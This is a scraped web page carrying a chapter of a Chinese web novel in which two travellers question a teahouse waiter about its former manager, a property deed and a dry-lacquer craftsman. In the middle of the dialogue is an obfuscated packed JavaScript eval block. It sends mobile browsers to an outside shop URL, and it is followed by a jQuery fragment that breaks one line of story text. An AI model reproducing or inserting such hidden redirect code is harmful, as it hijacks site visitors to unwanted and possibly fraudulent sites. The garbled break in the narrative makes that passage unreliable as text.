那小二不愧是是从小在这淮水县里长大的。
那条小路通哪里他清清楚楚，就路边一个破石墩子，他也能讲得头头是道。
慕芷泱边听他讲话边点头，那小二见慕芷泱附和他也是讲得更起劲了。
但就依照容时长久以来对慕芷泱的观察和了解，他基本能确定的是，她一个字没听进去。
但她装得挺好的，时不时还能附和那小二几句。
“对了，小兄弟你是什么时候来这浮云楼做工的啊？”慕芷泱摸了摸他刚刚兴高采烈介绍的那个石墩子。
“我？我从小就在这了。”小二摸了摸头，“这浮云楼是这几年姓江的这东家来了才改名的，不过之前也是个酒楼，那会儿还叫无相楼呢！”
“这样啊，那你之前的东家哪里去了啊？这浮云楼看上去生意很好的样子，怎么会舍得转让给别人？”
慕芷泱微微睁大了眼睛，语气惊讶。
那小二看呆了几瞬，回过神来才说:“这个不清楚，我没见过前东家，不过当时管事的是个年纪挺大的人了，后来酒楼转手了，我也就没见过他了。”
“这样啊，那江公子人还挺好的，让你们都留下来了。”
“这……”提到江沉雪，小二笑意先是僵在了脸上，随即又笑开，“是啊，江……东家人挺好的，挺好的……”
看这个样子就不像个好的呢。
慕芷泱和容时对视了眼，容时眨了眨眼睛。
后来那小二话就少了不少，带着慕芷泱他们在周围转了转，看天色晚一点了才提议:“这会儿天晚了点，那拜游佛的人也应该少了许多，二位是想现在就去，还是回浮云楼用了饭再去呢？”
慕芷泱看了看天色，“这佛像什么时候都可以去拜吗？”
“当然可以！”
“听说这次供游佛的院子是有好心人让出来的，你知道是谁吗？”
小二低迷一阵的心情在听见慕芷泱这个问题后又重新高涨了起来，他先看了看四周，见没人才放低声音凑到慕芷泱旁边，“这个我还真知道。”
容时看他突然离慕芷泱这么近额头青筋一跳，走过去隔开了他们。
那小二被挤到了一边也没生气，只是不好意思地笑了笑，就把容时当成了中间的隔板摆件。
“就是我之前说的那个年纪挺大的、那个酒楼管事的院子。”
他有些得意，“你们不知道正常，就这淮水县知道的都不多。”
“哦，小兄弟消息真是格外灵通。”慕芷泱配合地夸奖他。
“那你是怎么知道的啊？”
小二用力扒开容时挡在他前面的手臂，“就淮水县那个县令，那个赵县令你们应该知道吧。”
“嗯，略有耳闻。”
“他之前喜欢来浮云楼听我们东家唱戏，有一次他就把我们东家叫去了屋子里单独唱……”
他说得正起劲，无意间看见了容时略微扭曲的表情。
“这位小哥，是哪里不舒服吗？”小二见容时身形高大，又抬头看了看他的脸色，“不行我先带您去医馆看看？”
慕芷泱闻言也看向了容时，见他脸色确实奇怪，随即压下了眉眼情绪，也问:“你怎么了？”
“没事啊，你们继续啊，我一点事没有，真的……”
容时被两个人直勾勾看着，一时竟不知道该看谁，索性抬头看着天。
神经。
“不管他。”慕芷泱收回了目光，又对着小二微微颔首，“然后呢？”
小二刚被一打断，一时忘了自己讲到了哪里，皱着脸回忆好半天，才继续道:“哦，有一次那个赵县令把我们东家叫去了屋子里单独唱戏，我在门外等着伺候，但等了半天没听见里面有声音，然后我就在外面听啊听，在外面等啊等……”
“所以重点是什么？”容时脸色正常了一点，开口打断他连山连水的无穷回忆。
“重点是赵县令临走的时候，硬塞给我们东家一张屋契，但我们东家没要，我就听见他说这屋契所属的那个院子，”
这小二生怕慕芷泱他们听不懂一样，“就是现在放佛像那个，赵县令说那屋子现在在那个前管事的名下，如果我们东家后悔了，随时可以去找他拿。”
“那浮云楼那个前管事的现在还在淮水县吗？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647770|205340||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“早没在了，但我也不知道地契为什么在赵县令手里，但也可能是因为他要走，就委托人帮忙卖了，但不知道怎么到赵县令手里了。”
“对了，”慕芷泱把在中间的小二挡的严严实实容时扯开。
“你知道那前管事的叫什么名字吗？”
慕芷泱和那小二终于能再一次见面了。
“这我还真不知道。”
小二摇了摇头，“他平时也不怎么出房间，事儿也不多，别说客人了，就连我和楼里的伙计几天都不一定见到他的面。”
“他打哪里来的我也不知道，虽然我从小在这淮水县长大，但这淮水县也不算小，我也不可能人人都认识。”
“如此松懈，难怪那无相楼要倒闭了。”容时轻哼一声，一屁股坐到了刚刚小二和慕芷泱介绍那个石墩子上。
“害，这话说的。”那小二也是个自来熟，更何况在他眼里已经和慕芷泱他们少说算朋友了。
“当时无相楼还不止是茶楼呢，只不过那会儿没有唱戏的，那管事的就在屋子里刻东西，摆在茶楼门口卖，也还算受欢迎。”
“刻什么？”
“小佛像什么的吧。”小二记不太清了。
突然他又想起什么，一脸神秘莫测，“对了，他还会门手艺，好多人来找他但他都回绝了。”
“哦，什么？”
“叫什么……对！叫干漆夹苎！”
小二还只顾自啧啧赞叹，“我要是有这个手艺，谁还在这小茶楼看人脸色过活啊？”
完全没注意到，听了他那句话后，容时和慕芷泱的脸色都沉了下来。
慕芷泱她们脑海里思绪万千，但仍没放过那个可能。
“你那个前管事的，是不是两颊布满细碎的暗红色疤痕，鼻梁估计断过，向左偏了一截，嘴唇发乌。”
容时回忆着脑海里那个人的样子，垂眸问道。
“哎，是的是的，你们见过他！”
“他好像就是因为面上不好看，说以前吓坏过客人，所以才不怎么出门见人来的。”
“哼，我们当然见过他。”
容时一字一句道。